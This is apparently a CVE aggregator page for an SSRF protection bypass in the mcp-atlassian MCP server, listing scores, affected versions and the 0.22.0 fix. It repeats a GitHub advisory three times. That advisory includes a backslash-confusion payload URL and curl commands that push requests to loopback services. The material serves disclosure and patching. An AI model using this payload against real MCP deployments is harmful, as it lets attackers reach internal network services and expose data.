CVE-2026-77274

MCP Atlassian: SSRF Protection Bypass

8.8 HighFix available

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: Low
Availability: None

Exploit likelihood

0.33%Down 0.3 points since Sep 23, 2026

What each source reports

CVE List Score used 8.8

MCP Atlassian: SSRF Protection Bypass

Record: CVE-2026-77274
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-918
Updated: 2026-11-02

EUVDEUVD-2026-84649 8.8

Record: EUVD-2026-84649
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-hgcf-4mq8-5266 8.8

MCP Atlassian: SSRF Protection Bypass

Environment

Project: sooperset/mcp-atlassian
Affected function: validate_url_for_ssrf()
Affected path: header-based Jira/Confluence URL authentication flow
Tested endpoint: POST /mcp
Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%[email protected]/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
For the payload, parsed.hostname is www.baidu.com.
The actual request is sent by the Atlassian client through requests.Session.
requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Record: GHSA-hgcf-4mq8-5266
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-918
Updated: 2026-11-02

NVD 8.8

Record: CVE-2026-77274
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1: 8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSV 8.8

MCP Atlassian: SSRF Protection Bypass

Record: CVE-2026-77274
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-918
Updated: 2026-11-02

OSVGHSA-hgcf-4mq8-5266 8.8

MCP Atlassian: SSRF Protection Bypass

Environment

Project: sooperset/mcp-atlassian
Affected function: validate_url_for_ssrf()
Affected path: header-based Jira/Confluence URL authentication flow
Tested endpoint: POST /mcp
Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

http://127.0.0.1:6666/%[email protected]/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
For the payload, parsed.hostname is www.baidu.com.
The actual request is sent by the Atlassian client through requests.Session.
requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Record: GHSA-hgcf-4mq8-5266
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-918
Updated: 2026-11-02

OSVPYSEC-2026-4096 8.8

MCP Atlassian: SSRF Protection Bypass

Environment

Project: sooperset/mcp-atlassian
Affected function: validate_url_for_ssrf()
Affected path: header-based Jira/Confluence URL authentication flow
Tested endpoint: POST /mcp
Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

http://127.0.0.1:6666/%[email protected]/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
For the payload, parsed.hostname is www.baidu.com.
The actual request is sent by the Atlassian client through requests.Session.
requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Record: PYSEC-2026-4096
CVSS 4.0: 8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`mcp-atlassian` PyPI	before 0.22.0	0.22.0
`mcp-atlassian` PyPI	before 0.22.0, plus listed versions 0.1.10.1.100.1.110.1.120.1.13 Show 45 moreShow less 0.1.140.1.150.1.160.1.20.1.30.1.40.1.60.1.70.1.80.1.90.10.00.10.10.10.20.10.30.10.40.10.50.10.60.11.00.11.10.11.100.11.110.11.120.11.20.11.2a20.11.30.11.40.11.50.11.60.11.70.11.80.11.90.12.00.13.00.13.10.14.00.14.10.14.20.14.30.15.00.16.00.16.10.17.00.18.00.18.10.19.0	0.22.0

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-77274 is a high vulnerability (CVSS 8.8) in Mcp-atlassian Mcp Atlassian, published September 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in mcp-atlassian 0.22.0.

References

This page doesn't list everything

Left out here: 29 versions. The JSON record has them.